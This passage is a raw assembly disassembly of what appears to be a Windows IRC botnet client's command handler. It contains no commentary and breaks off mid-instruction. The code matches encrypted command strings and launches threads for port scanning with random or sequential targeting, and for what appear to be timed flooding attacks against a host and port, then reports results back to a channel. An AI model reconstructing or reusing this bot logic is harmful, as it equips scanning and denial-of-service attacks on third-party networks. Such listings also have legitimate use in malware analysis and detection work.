sub_40A9FE+6060j ; sub_40A9FE+6069j ... mov ecx, [ebp+arg_10] push 10h pop edi lea eax, [ebp+var_5C] push eax lea eax, [ebp+var_6C] push eax mov [ebp+var_5C], edi call sub_41DB68 push eax call dword_456EB8 ; getsockname xor ebx, ebx cmp [ebp+arg_54], ebx jz short loc_410BAF and [ebp+var_68], 0FFh jmp short loc_410BC4 ; --------------------------------------------------------------------------- loc_410BAF: ; CODE XREF: sub_40A9FE+61A6j cmp [ebp+arg_58], ebx jz short loc_410BBB and word ptr [ebp+var_68+2], 0 jmp short loc_410BC4 ; --------------------------------------------------------------------------- loc_410BBB: ; CODE XREF: sub_40A9FE+61B4j cmp [ebp+arg_5C], ebx jz short loc_410BC4 and byte ptr [ebp+var_68+3], 0 loc_410BC4: ; CODE XREF: sub_40A9FE+61AFj ; sub_40A9FE+61BBj ... push edi push [ebp+var_68] call dword_456FDC ; inet_ntoa push eax lea eax, [ebp+var_2D4] push eax call sub_429D10 add esp, 0Ch cmp [ebp+arg_60], ebx jz short loc_410C43 xor edi, edi cmp [ebp+arg_54], ebx jz short loc_410BEF push 3 loc_410BEC: ; CODE XREF: sub_40A9FE+61F8j pop edi jmp short loc_410C00 ; --------------------------------------------------------------------------- loc_410BEF: ; CODE XREF: sub_40A9FE+61EAj cmp [ebp+arg_58], ebx jz short loc_410BF8 push 2 jmp short loc_410BEC ; --------------------------------------------------------------------------- loc_410BF8: ; CODE XREF: sub_40A9FE+61F4j cmp [ebp+arg_5C], ebx jz short loc_410C00 xor edi, edi inc edi loc_410C00: ; CODE XREF: sub_40A9FE+61EFj ; sub_40A9FE+61FDj lea eax, [ebp+var_2D4] push 30h push eax call sub_42B060 pop ecx xor bl, bl test edi, edi pop ecx jle loc_410A18 loc_410C1A: ; CODE XREF: sub_40A9FE+623Ej test eax, eax jz loc_410A18 mov byte ptr [eax], 78h lea eax, [ebp+var_2D4] push 30h push eax call sub_42B060 pop ecx inc bl pop ecx movsx ecx, bl cmp ecx, edi jl short loc_410C1A jmp loc_410A18 ; --------------------------------------------------------------------------- loc_410C43: ; CODE XREF: sub_40A9FE+61E3j mov [ebp+var_218], ebx loc_410C49: ; CODE XREF: sub_40A9FE+6024j ; sub_40A9FE+6053j ... mov eax, [ebp+arg_14] mov ecx, [ebp+arg_10] mov [ebp+var_224], eax mov eax, [ebp+arg_20] mov [ebp+var_21C], eax mov eax, [ebp+arg_18] mov [ebp+var_220], eax mov [ebp+var_20C], ecx test eax, eax lea eax, [ebp+var_2C4] jz short loc_410C7E push offset dword_443F14 jmp short loc_410C83 ; --------------------------------------------------------------------------- loc_410C7E: ; CODE XREF: sub_40A9FE+6277j push offset dword_443F1C loc_410C83: ; CODE XREF: sub_40A9FE+627Ej push eax call dword_4370B4 ; lstrcpyA cmp [ebp+var_218], 0 mov eax, offset aRandom ; "Random" jnz short loc_410C9D mov eax, offset aSequential ; "Sequential" loc_410C9D: ; CODE XREF: sub_40A9FE+6298j push [ebp+var_22C] lea ecx, [ebp+var_2D4] mov edi, offset aSSSSDWithADela ; "%s %s %s %s:%d with a delay of %d secon"... push [ebp+var_23C] push [ebp+var_240] push [ebp+var_244] push ecx push offset aY2lm40nv3yaP4m ; "Y2LM40Nv3Ya/p4MrM1AZiAp1eUok8/eobtx1" push eax push offset aMflx2_qu4vy_ ; "mflX2.QU4VY." push edi push 8 call sub_4234A7 add esp, 28h mov [ebp+var_238], eax lea eax, [ebp+arg_0] xor ebx, ebx push eax lea eax, [ebp+var_2D4] push ebx push eax push offset sub_402459 push ebx push ebx call dword_437180 ; CreateThread mov ecx, [ebp+var_238] imul ecx, 2724h cmp eax, ebx mov dword_46D72C[ecx], eax jnz short loc_410D65 loc_410D0E: ; CODE XREF: sub_40A9FE+667Bj cmp [ebp+arg_14], 0 mov ebx, dword_437170 mov edi, offset aSSD_ ; "%s %s (%d)." jnz short loc_410D41 cmp [ebp+arg_18], 0 jnz short loc_410D4B call ebx ; dword_437170 push eax push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"... push offset aMflx2_qu4vy_ ; "mflX2.QU4VY." push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 18h loc_410D41: ; CODE XREF: sub_40A9FE+631Fj cmp [ebp+arg_18], 0 jz loc_414995 loc_410D4B: ; CODE XREF: sub_40A9FE+6325j call ebx ; dword_437170 push eax push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"... loc_410D53: ; CODE XREF: sub_40A9FE+6529j ; sub_40A9FE+951Dj push offset aMflx2_qu4vy_ ; "mflX2.QU4VY." jmp loc_41491C ; --------------------------------------------------------------------------- loc_410D5D: ; CODE XREF: sub_40A9FE+636Dj push 32h call dword_437190 ; Sleep loc_410D65: ; CODE XREF: sub_40A9FE+630Ej cmp [ebp+var_214], ebx jz short loc_410D5D cmp [ebp+arg_14], ebx jnz short loc_410DCE cmp [ebp+arg_18], ebx jnz short loc_410DD9 cmp [ebp+arg_1C], ebx jnz loc_414995 cmp [ebp+var_218], 0 mov eax, offset aRandom ; "Random" jnz short loc_410D93 mov eax, offset aSequential ; "Sequential" loc_410D93: ; CODE XREF: sub_40A9FE+638Ej push [ebp+var_22C] lea ecx, [ebp+var_2D4] push [ebp+var_23C] push [ebp+var_240] push [ebp+var_244] push ecx push offset aY2lm40nv3yaP4m ; "Y2LM40Nv3Ya/p4MrM1AZiAp1eUok8/eobtx1" push eax push offset aMflx2_qu4vy_ ; "mflX2.QU4VY." push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 2Ch xor ebx, ebx loc_410DCE: ; CODE XREF: sub_40A9FE+6372j cmp [ebp+arg_18], ebx jz loc_414995 xor ebx, ebx loc_410DD9: ; CODE XREF: sub_40A9FE+6377j cmp [ebp+var_218], ebx mov eax, offset aRandom ; "Random" jnz short loc_410DEB mov eax, offset aSequential ; "Sequential" loc_410DEB: ; CODE XREF: sub_40A9FE+63E6j push [ebp+var_22C] lea ecx, [ebp+var_2D4] push [ebp+var_23C] push [ebp+var_240] push [ebp+var_244] push ecx push offset aY2lm40nv3yaP4m ; "Y2LM40Nv3Ya/p4MrM1AZiAp1eUok8/eobtx1" push eax push offset aMflx2_qu4vy_ ; "mflX2.QU4VY." push edi push dword ptr [esi] push [ebp+arg_10] call sub_41CDD4 add esp, 2Ch jmp loc_414995 ; --------------------------------------------------------------------------- loc_410E28: ; CODE XREF: sub_40A9FE+5E68j push dword ptr [ebx] push offset aSxytb1_eejq_ ; "SXYtb1.EEjQ." call edi ; dword_437178 test eax, eax jz loc_413EA2 push dword ptr [ebx] push offset aVb1r0N_arr0 ; "vB1r0/N.Arr0" call edi ; dword_437178 test eax, eax jz loc_413EA2 push dword ptr [ebx] push offset a8im6i__c829_ ; "8Im6i..C829." call edi ; dword_437178 test eax, eax jz loc_413EA2 push dword ptr [ebx] push offset aTiyj208fhvn_ ; "tIYj208FHvN." call edi ; dword_437178 test eax, eax jz loc_413EA2 push dword ptr [ebx] push offset a5ngN0zjh2i1 ; "5nG/N0ZJh2i1" call edi ; dword_437178 test eax, eax jz loc_413EA2 push dword ptr [ebx] push offset aMdf9n0kzpx60 ; "mdf9n0kzPX60" call edi ; dword_437178 test eax, eax jz loc_413EA2 push dword ptr [ebx] push offset aAtfv_jgk0x1 ; "/ATfv.jgK0X1" call edi ; dword_437178 test eax, eax jz loc_413EA2 push dword ptr [ebx] push offset aFu6k10irsc1 ; "fu6k10iRsc/1" call edi ; dword_437178 test eax, eax jz loc_413EA2 push dword ptr [ebx] push offset a_luua_bruje0 ; ".lUua.bruje0" call edi ; dword_437178 test eax, eax jnz loc_4110A1 xor edi, edi cmp [ebx+4], edi jz loc_411097 cmp [ebx+8], edi jz loc_411097 cmp [ebx+0Ch], edi jz loc_411097 push 9 call sub_42381F cmp eax, edi pop ecx mov [ebp+arg_C], eax jle short loc_410F2C cmp [ebp+arg_14], 0 mov ebx, offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"... mov edi, offset aSSD_ ; "%s %s (%d)." jnz short loc_410F19 cmp [ebp+arg_18], 0 jnz short loc_410F23 push eax push ebx push offset aMflx2_qu4vy_ ; "mflX2.QU4VY." push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 18h loc_410F19: ; CODE XREF: sub_40A9FE+64FDj cmp [ebp+arg_18], 0 jz loc_414995 loc_410F23: ; CODE XREF: sub_40A9FE+6503j push [ebp+arg_C] push ebx jmp loc_410D53 ; --------------------------------------------------------------------------- loc_410F2C: ; CODE XREF: sub_40A9FE+64EDj mov eax, [ebp+arg_20] mov ecx, [ebp+arg_14] mov dword_454A4C, eax mov eax, [ebp+arg_18] mov dword_454A50, eax mov [ebp+var_840], eax cmp eax, edi mov dword_454A48, ecx mov [ebp+var_838], ecx lea eax, [ebp+var_95C] jnz short loc_410F62 push offset dword_443F1C jmp short loc_410F64 ; --------------------------------------------------------------------------- loc_410F62: ; CODE XREF: sub_40A9FE+655Bj push dword ptr [esi] loc_410F64: ; CODE XREF: sub_40A9FE+6562j push eax call dword_4370B4 ; lstrcpyA mov eax, [ebp+arg_10] mov [ebp+var_964], eax push dword ptr [ebx+4] call dword_456F7C ; inet_addr mov [ebp+var_848], eax push dword ptr [ebx+8] call sub_42A100 mov [ebp+var_85C], eax mov ebx, [ebx+0Ch] cmp ebx, edi pop ecx jnz short loc_410FA5 mov [ebp+var_858], 64h jmp short loc_410FB2 ; --------------------------------------------------------------------------- loc_410FA5: ; CODE XREF: sub_40A9FE+6599j push ebx call sub_42A100 pop ecx mov [ebp+var_858], eax loc_410FB2: ; CODE XREF: sub_40A9FE+65A5j cmp [ebp+arg_14], 0 mov ebx, offset aMflx2_qu4vy_ ; "mflX2.QU4VY." mov edi, offset aSPortPscanStar ; "%s Port pscan started: %s:%d with delay"... jnz short loc_410FF1 cmp [ebp+arg_18], 0 jnz short loc_410FF7 push [ebp+var_858] push [ebp+var_85C] push [ebp+var_848] call dword_456FDC ; inet_ntoa push eax push ebx push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 1Ch loc_410FF1: ; CODE XREF: sub_40A9FE+65C2j cmp [ebp+arg_18], 0 jz short loc_41101F loc_410FF7: ; CODE XREF: sub_40A9FE+65C8j push [ebp+var_858] push [ebp+var_85C] push [ebp+var_848] call dword_456FDC ; inet_ntoa push eax push ebx push edi push dword ptr [esi] push [ebp+arg_10] call sub_41CDD4 add esp, 1Ch loc_41101F: ; CODE XREF: sub_40A9FE+65F7j push [ebp+var_858] push [ebp+var_85C] push [ebp+var_848] call dword_456FDC ; inet_ntoa push eax push ebx push edi push 9 call sub_4234A7 add esp, 18h mov [ebp+var_850], eax lea eax, [ebp+arg_0] xor edi, edi push eax lea eax, [ebp+var_964] push edi push eax push offset sub_407281 push edi push edi call dword_437180 ; CreateThread mov ecx, [ebp+var_850] imul ecx, 2724h cmp eax, edi mov dword_46D72C[ecx], eax jz loc_410D0E jmp short loc_411089 ; --------------------------------------------------------------------------- loc_411081: ; CODE XREF: sub_40A9FE+6692j push 32h call dword_437190 ; Sleep loc_411089: ; CODE XREF: sub_40A9FE+6681j cmp [ebp+var_834], 0 jz short loc_411081 jmp loc_414995 ; --------------------------------------------------------------------------- loc_411097: ; CODE XREF: sub_40A9FE+64C8j ; sub_40A9FE+64D1j ... mov edi, offset aMflx2_qu4vy_ ; "mflX2.QU4VY." jmp loc_40BF10 ; --------------------------------------------------------------------------- loc_4110A1: ; CODE XREF: sub_40A9FE+64BDj push dword ptr [ebx] push offset aKzqshDhric_ ; "kzqSH/dhRIc." call edi ; dword_437178 test eax, eax jnz short loc_4110BA push offset aMflx2_qu4vy_ ; "mflX2.QU4VY." push 9 jmp loc_412B29 ; --------------------------------------------------------------------------- loc_4110BA: ; CODE XREF: sub_40A9FE+66AEj push dword ptr [ebx] push offset aUycsBekwp0 ; "/uYcs/BEKWP0" call edi ; dword_437178 test eax, eax jnz loc_4111E6 push 0Ah call sub_42381F test eax, eax pop ecx mov [ebp+arg_C], eax jle short loc_4110E4 mov ebx, offset aXlpyr1anpgm0 ; "xLpyR1aNPGm0" jmp loc_40B964 ; --------------------------------------------------------------------------- loc_4110E4: ; CODE XREF: sub_40A9FE+66DAj mov eax, [ebp+arg_14] and dword_456594, 0 mov dword_45658C, eax mov eax, [ebp+arg_20] mov edi, offset aIhfnL6b5x ; "/iHFN/l6B5X/" mov ebx, offset aSS_ ; "%s %s." push edi mov dword_456588, eax mov eax, [ebp+arg_10] push offset aXlpyr1anpgm0 ; "xLpyR1aNPGm0" push ebx push 0Ah mov dword_4564D8, eax call sub_4234A7 add esp, 10h mov dword_45655C, eax lea eax, [ebp+arg_0] push eax xor eax, eax push eax push offset dword_4564D8 push offset sub_407E4B push eax push eax call dword_437180 ; CreateThread mov ecx, dword_45655C imul ecx, 2724h test eax, eax mov dword_46D72C[ecx], eax jnz short loc_4111A7 cmp [ebp+arg_14], eax mov ebx, dword_437170 mov edi, offset aSSD_ ; "%s %s (%d)." jnz short loc_411183 cmp [ebp+arg_18], eax jnz short loc_41118D call ebx ; dword_437170 push eax push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"... push offset aXlpyr1anpgm0 ; "xLpyR1aNPGm0" push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 18h loc_411183: ; CODE XREF: sub_40A9FE+6762j cmp [ebp+arg_18], 0 jz loc_414995 loc_41118D: ; CODE XREF: sub_40A9FE+6767j call ebx ; dword_437170 push eax push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"... push offset aXlpyr1anpgm0 ; "xLpyR1aNPGm0" jmp loc_41491C ; --------------------------------------------------------------------------- loc_41119F: ; CODE XREF: sub_40A9FE+67B0j push 32h call dword_437190 ; Sleep loc_4111A7: ; CODE XREF: sub_40A9FE+6752j cmp dword_456594, 0 jz short loc_41119F cmp [ebp+arg_14], 0 jnz short loc_4111D1 cmp [ebp+arg_18], 0 jnz short loc_4111DB push edi push offset aXlpyr1anpgm0 ; "xLpyR1aNPGm0" push ebx push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 14h loc_4111D1: ; CODE XREF: sub_40A9FE+67B6j cmp [ebp+arg_18], 0 jz loc_414995 loc_4111DB: ; CODE XREF: sub_40A9FE+67BCj push edi push offset aXlpyr1anpgm0 ; "xLpyR1aNPGm0" jmp loc_40B0FB ; --------------------------------------------------------------------------- loc_4111E6: ; CODE XREF: sub_40A9FE+66C7j push dword ptr [ebx] push offset aWwfbf_0ptze_ ; "WWFBf.0ptzE." call edi ; dword_437178 test eax, eax jnz short loc_4111FF push offset aXlpyr1anpgm0 ; "xLpyR1aNPGm0" push 0Ah jmp loc_412B29 ; --------------------------------------------------------------------------- loc_4111FF: ; CODE XREF: sub_40A9FE+67F3j push dword ptr [ebx] push offset aFhzdv1ootfg0 ; "fhzdV1OotFg0" call edi ; dword_437178 test eax, eax jnz loc_411355 push 0Bh call sub_42381F test eax, eax pop ecx mov [ebp+arg_C], eax jle short loc_411229 mov ebx, offset aWpukb_0uioaOfu ; "WPUkb.0uIoa/OFUur11TNYw0" jmp loc_40B964 ; --------------------------------------------------------------------------- loc_411229: ; CODE XREF: sub_40A9FE+681Fj mov eax, [ebp+arg_10] mov [ebp+var_1A2C], eax mov eax, [ebp+arg_14] mov [ebp+var_1978], eax mov eax, [ebp+arg_20] mov [ebp+var_197C], eax push dword ptr [esi+0Ch] lea eax, [ebp+var_1A28] push eax call sub_42A5D0 mov edi, offset aIhfnL6b5x ; "/iHFN/l6B5X/" mov ebx, offset aSS_ ; "%s %s." push edi push offset aWpukb_0uioaOfu ; "WPUkb.0uIoa/OFUur11TNYw0" push ebx push 0Bh call sub_4234A7 add esp, 18h mov [ebp+var_19A8], eax lea eax, [ebp+arg_0] lea ecx, [ebp+var_1A2C] push eax xor eax, eax push eax push ecx push offset loc_40A1EF push eax push eax call dword_437180 ; CreateThread mov ecx, [ebp+var_19A8] imul ecx, 2724h test eax, eax mov dword_46D72C[ecx], eax jnz short loc_411308 cmp [ebp+arg_14], eax mov ebx, dword_437170 mov edi, offset aSSD_ ; "%s %s (%d)." jnz short loc_4112D6 cmp [ebp+arg_18], eax jnz short loc_4112E0 call ebx ; dword_437170 push eax push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"... push offset aWpukb_0uioaOfu ; "WPUkb.0uIoa/OFUur11TNYw0" push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 18h loc_4112D6: ; CODE XREF: sub_40A9FE+68B5j cmp [ebp+arg_18], 0 jz loc_412FED loc_4112E0: ; CODE XREF: sub_40A9FE+68BAj call ebx ; dword_437170 push eax push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"... push offset aWpukb_0uioaOfu ; "WPUkb.0uIoa/OFUur11TNYw0" push edi push dword ptr [esi] push [ebp+arg_10] call sub_41CDD4 jmp loc_40FCD9 ; --------------------------------------------------------------------------- loc_4112FD: ; CODE XREF: sub_40A9FE+6911j push 1F4h call dword_437190 ; Sleep loc_411308: ; CODE XREF: sub_40A9FE+68A5j cmp [ebp+var_1970], 0 jz short loc_4112FD cmp [ebp+arg_14], 0 jnz short loc_411332 cmp [ebp+arg_18], 0 jnz short loc_41133C push edi push offset aWpukb_0uioaOfu ; "WPUkb.0uIoa/OFUur11TNYw0" push ebx push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 14h loc_411332: ; CODE XREF: sub_40A9FE+6917j cmp [ebp+arg_18], 0 jz loc_412FED loc_41133C: ; CODE XREF: sub_40A9FE+691Dj push edi push offset aWpukb_0uioaOfu ; "WPUkb.0uIoa/OFUur11TNYw0" push ebx push dword ptr [esi] push [ebp+arg_10] call sub_41CDD4 add esp, 14h jmp loc_412FED ; --------------------------------------------------------------------------- loc_411355: ; CODE XREF: sub_40A9FE+680Cj push dword ptr [ebx] push offset aUmk7x0pwyw9Qrn ; "Umk7x0PwyW9/QRn4z10ge1I1" call edi ; dword_437178 test eax, eax jnz short loc_41136E push offset aWpukb_0uioaOfu ; "WPUkb.0uIoa/OFUur11TNYw0" push 0Bh jmp loc_412B29 ; --------------------------------------------------------------------------- loc_41136E: ; CODE XREF: sub_40A9FE+6962j push dword ptr [ebx] push offset a7fugu_n0u2m1 ; "7FUgU.N0U2m1" call edi ; dword_437178 test eax, eax jnz loc_41159E xor edi, edi cmp [ebx+4], edi jz loc_411594 cmp [ebx+8], edi jz loc_411594 cmp [ebx+0Ch], edi jz loc_411594 cmp [ebx+10h], edi jz loc_411594 push 0Dh call sub_423800 cmp eax, 32h pop ecx mov [ebp+arg_C], eax jle short loc_4113F9 cmp [ebp+arg_14], 0 mov ebx, offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"... mov edi, offset aSSD_ ; "%s %s (%d)." jnz short loc_4113E1 cmp [ebp+arg_18], 0 jnz short loc_4113EB push eax push ebx push offset aBjatzQyrs11 ; "BjAtz/qyRS11" push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 18h loc_4113E1: ; CODE XREF: sub_40A9FE+69C5j cmp [ebp+arg_18], 0 jz loc_414995 loc_4113EB: ; CODE XREF: sub_40A9FE+69CBj push [ebp+arg_C] push ebx loc_4113EF: ; CODE XREF: sub_40A9FE+6B7Bj push offset aBjatzQyrs11 ; "BjAtz/qyRS11" jmp loc_41491C ; --------------------------------------------------------------------------- loc_4113F9: ; CODE XREF: sub_40A9FE+69B5j mov eax, [ebp+arg_14] mov [ebp+var_1160], eax mov eax, [ebp+arg_18] mov [ebp+var_1164], eax cmp eax, edi lea eax, [ebp+var_11F4] jnz short loc_41141A push dword ptr [esi+0Ch] jmp short loc_41141C ; --------------------------------------------------------------------------- loc_41141A: ; CODE XREF: sub_40A9FE+6A15j push dword ptr [esi] loc_41141C: ; CODE XREF: sub_40A9FE+6A1Aj push eax call dword_4370B4 ; lstrcpyA mov eax, [ebp+arg_10] push 7Fh mov [ebp+var_1278], eax push dword ptr [ebx+4] lea eax, [ebp+var_1274] push eax call sub_429D10 push dword ptr [ebx+8] call sub_42A100 mov [ebp+var_1170], eax push dword ptr [ebx+0Ch] call sub_42A100 mov [ebp+var_116C], eax push dword ptr [ebx+10h] call sub_42A100 add esp, 18h cmp [ebp+arg_14], 0 mov [ebp+var_1168], eax mov edi, offset aSSDForDSecs_ ; "%s --> (%s:%d) for (%d secs)." jnz short loc_4114A6 cmp [ebp+arg_18], 0 jnz short loc_4114AC push dword ptr [ebx+0Ch] call sub_42A100 pop ecx push eax push dword ptr [ebx+8] call sub_42A100 pop ecx push eax push dword ptr [ebx+4] push offset aBjatzQyrs11 ; "BjAtz/qyRS11" push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 1Ch loc_4114A6: ; CODE XREF: sub_40A9FE+6A75j cmp [ebp+arg_18], 0 jz short loc_4114D6 loc_4114AC: ; CODE XREF: sub_40A9FE+6A7Bj push dword ptr [ebx+0Ch] call sub_42A100 pop ecx push eax push dword ptr [ebx+8] call sub_42A100 pop ecx push eax push dword ptr [ebx+4] push offset aBjatzQyrs11 ; "BjAtz/qyRS11" push edi push dword ptr [esi] push [ebp+arg_10] call sub_41CDD4 add esp, 1Ch loc_4114D6: ; CODE XREF: sub_40A9FE+6AACj push dword ptr [ebx+0Ch] call sub_42A100 pop ecx push eax push dword ptr [ebx+8] call sub_42A100 pop ecx push eax push dword ptr [ebx+4] push offset aBjatzQyrs11 ; "BjAtz/qyRS11" push edi push 0Dh call sub_4234A7 add esp, 18h mov [ebp+var_1174], eax lea eax, [ebp+arg_0] xor edi, edi push eax lea eax, [ebp+var_1278] push edi push eax push offset sub_4229B7 push edi push edi call dword_437180 ; CreateThread mov ecx, [ebp+var_1174] imul ecx, 2724h cmp eax, edi mov dword_46D72C[ecx], eax jnz short loc_411586 cmp [ebp+arg_14], 0 mov ebx, dword_437170 mov edi, offset aSSD_ ; "%s %s (%d)." jnz short loc_411567 cmp [ebp+arg_18], 0 jnz short loc_411571 call ebx ; dword_437170 push eax push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"... push offset aBjatzQyrs11 ; "BjAtz/qyRS11" push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 18h loc_411567: ; CODE XREF: sub_40A9FE+6B45j cmp [ebp+arg_18], 0 jz loc_414995 loc_411571: ; CODE XREF: sub_40A9FE+6B4Bj call ebx ; dword_437170 push eax push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"... jmp loc_4113EF ; --------------------------------------------------------------------------- loc_41157E: ; CODE XREF: sub_40A9FE+6B8Fj push 32h call dword_437190 ; Sleep loc_411586: ; CODE XREF: sub_40A9FE+6B34j cmp [ebp+var_115C], 0 jz short loc_41157E jmp loc_414995 ; --------------------------------------------------------------------------- loc_411594: ; CODE XREF: sub_40A9FE+6986j ; sub_40A9FE+698Fj ... mov edi, offset aBjatzQyrs11 ; "BjAtz/qyRS11" jmp loc_40BF10 ; --------------------------------------------------------------------------- loc_41159E: ; CODE XREF: sub_40A9FE+697Bj push dword ptr [ebx] push offset aW3dwl46o0u0 ; "w3dWL/46o0u0" call edi ; dword_437178 test eax, eax jnz short loc_4115B5 push offset aBjatzQyrs11 ; "BjAtz/qyRS11" jmp loc_4128A9 ; --------------------------------------------------------------------------- loc_4115B5: ; CODE XREF: sub_40A9FE+6BABj push dword ptr [ebx] push offset aUbqs_hzpkh1 ; "/uBQS.HZPkh1" call edi ; dword_437178 test eax, eax jz loc_413C82 push dword ptr [ebx] push offset a6x7zf1eztny_ ; "6x7zf1EztnY." call edi ; dword_437178 test eax, eax jz loc_413C82 push dword ptr [ebx] push offset aFyflu0ji3xh_ ; "FyFlU0jI3XH." call edi ; dword_437178 test eax, eax jz loc_413C82 push dword ptr [ebx] push offset a7otcu0fic6v0 ; "7otcU0FiC6V0" call edi ; dword_437178 test eax, eax jz loc_413C82 push dword ptr [ebx] push offset aDnjyk0fwki__ ; "dnjYk0fWkI.." call edi ; dword_437178 test eax, eax jnz short loc_411610 push offset aBvygm_afzkh0 ; "BVYGm.aFzkh0" jmp loc_4128A9 ; --------------------------------------------------------------------------- loc_411610: ; CODE XREF: sub_40A9FE+6C06j push dword ptr [ebx] push offset aXmz20Gjkq ; "xMz20//gJkQ/" call edi ; dword_437178 test eax, eax jnz loc_411829 xor edi, edi cmp [ebx+4], edi jz loc_41181F cmp [ebx+8], edi jz loc_41181F cmp [ebx+0Ch], edi jz loc_41181F push 0Dh call sub_423800 cmp eax, 32h pop ecx mov [ebp+arg_C], eax jle short loc_411692 cmp [ebp+arg_14], 0 mov ebx, offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"... mov edi, offset aSSD_ ; "%s %s (%d)." jnz short loc_41167A cmp [ebp+arg_18], 0 jnz short loc_411684 push eax push ebx push offset aLcgg60qk2mf0 ; "Lcgg60QK2mf0" push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 18h loc_41167A: ; CODE XREF: sub_40A9FE+6C5Ej cmp [ebp+arg_18], 0 jz loc_414995 loc_411684: ; CODE XREF: sub_40A9FE+6C64j push [ebp+arg_C] push ebx loc_411688: ; CODE XREF: sub_40A9FE+6E06j push offset aLcgg60qk2mf0 ; "Lcgg60QK2mf0" jmp loc_41491C ; --------------------------------------------------------------------------- loc_411692: ; CODE XREF: sub_40A9FE+6C4Ej mov eax, [ebp+arg_14] mov [ebp+var_1AF8], eax mov eax, [ebp+arg_18] mov [ebp+var_1AFC], eax cmp eax, edi lea eax, [ebp+var_1B90] jnz short loc_4116B3 push dword ptr [esi+0Ch] jmp short loc_4116B5 ; --------------------------------------------------------------------------- loc_4116B3: ; CODE XREF: sub_40A9FE+6CAEj push dword ptr [esi] loc_4116B5: ; CODE XREF: sub_40A9FE+6CB3j push eax call dword_4370B4 ; lstrcpyA mov eax, [ebp+arg_10] push 7Fh mov [ebp+var_1C14], eax push dword ptr [ebx+4] lea eax, [ebp+var_1C10] push eax call sub_429D10 push dword ptr [ebx+8] call sub_42A100 mov [ebp+var_1B08], eax push dword ptr [ebx+0Ch] call sub_42A100 add esp, 14h cmp [ebp+arg_14], 0 mov [ebp+var_1B04], eax mov edi, offset aLcgg60qk2mf0 ; "Lcgg60QK2mf0" jnz short loc_411731 cmp [ebp+arg_18], 0 jnz short loc_411737 push dword ptr [ebx+0Ch] call sub_42A100 pop ecx push eax push dword ptr [ebx+8] call sub_42A100 pop ecx push eax push dword ptr [ebx+4] push edi push offset aSSForDSecsWith ; "%s --> (%s) for %d secs with %d ms dela"... push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 1Ch loc_411731: ; CODE XREF: sub_40A9FE+6D00j cmp [ebp+arg_18], 0 jz short loc_411761 loc_411737: ; CODE XREF: sub_40A9FE+6D06j push dword ptr [ebx+0Ch] call sub_42A100 pop ecx push eax push dword ptr [ebx+8] call sub_42A100 pop ecx push eax push dword ptr [ebx+4] push edi push offset aSSForDSecsWith ; "%s --> (%s) for %d secs with %d ms dela"... push dword ptr [esi] push [ebp+arg_10] call sub_41CDD4 add esp, 1Ch loc_411761: ; CODE XREF: sub_40A9FE+6D37j push dword ptr [ebx+0Ch] call sub_42A100 pop ecx push eax push dword ptr [ebx+8] call sub_42A100 pop ecx push eax push dword ptr [ebx+4] push edi push offset aSSForDSecsWith ; "%s --> (%s) for %d secs with %d ms dela"... push 0Dh call sub_4234A7 add esp, 18h mov [ebp+var_1B10], eax lea eax, [ebp+arg_0] xor edi, edi push eax lea eax, [ebp+var_1C14] push edi push eax push offset sub_4284A5 push edi push edi call dword_437180 ; CreateThread mov ecx, [ebp+var_1B10] imul ecx, 2724h cmp eax, edi mov dword_46D72C[ecx], eax jnz short loc_411811 cmp [ebp+arg_14], 0 mov ebx, dword_437170 mov edi, offset aSSD_ ; "%s %s (%d)." jnz short loc_4117F2 cmp [ebp+arg_18], 0 jnz short loc_4117FC call ebx ; dword_437170 push eax push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"... push offset aLcgg60qk2mf0 ; "Lcgg60QK2mf0" push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 18h loc_4117F2: ; CODE XREF: sub_40A9FE+6DD0j cmp [ebp+arg_18], 0 jz loc_414995 loc_4117FC: ; CODE XREF: sub_40A9FE+6DD6j call ebx ; dword_437170 push eax push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"... jmp loc_411688 ; --------------------------------------------------------------------------- loc_411809: ; CODE XREF: sub_40A9FE+6E1Aj push 32h call dword_437190 ; Sleep loc_411811: ; CODE XREF: sub_40A9FE+6DBFj cmp [ebp+var_1AF4], 0 jz short loc_411809 jmp loc_414995 ; --------------------------------------------------------------------------- loc_41181F: ; CODE XREF: sub_40A9FE+6C28j ; sub_40A9FE+6C31j ... mov edi, offset 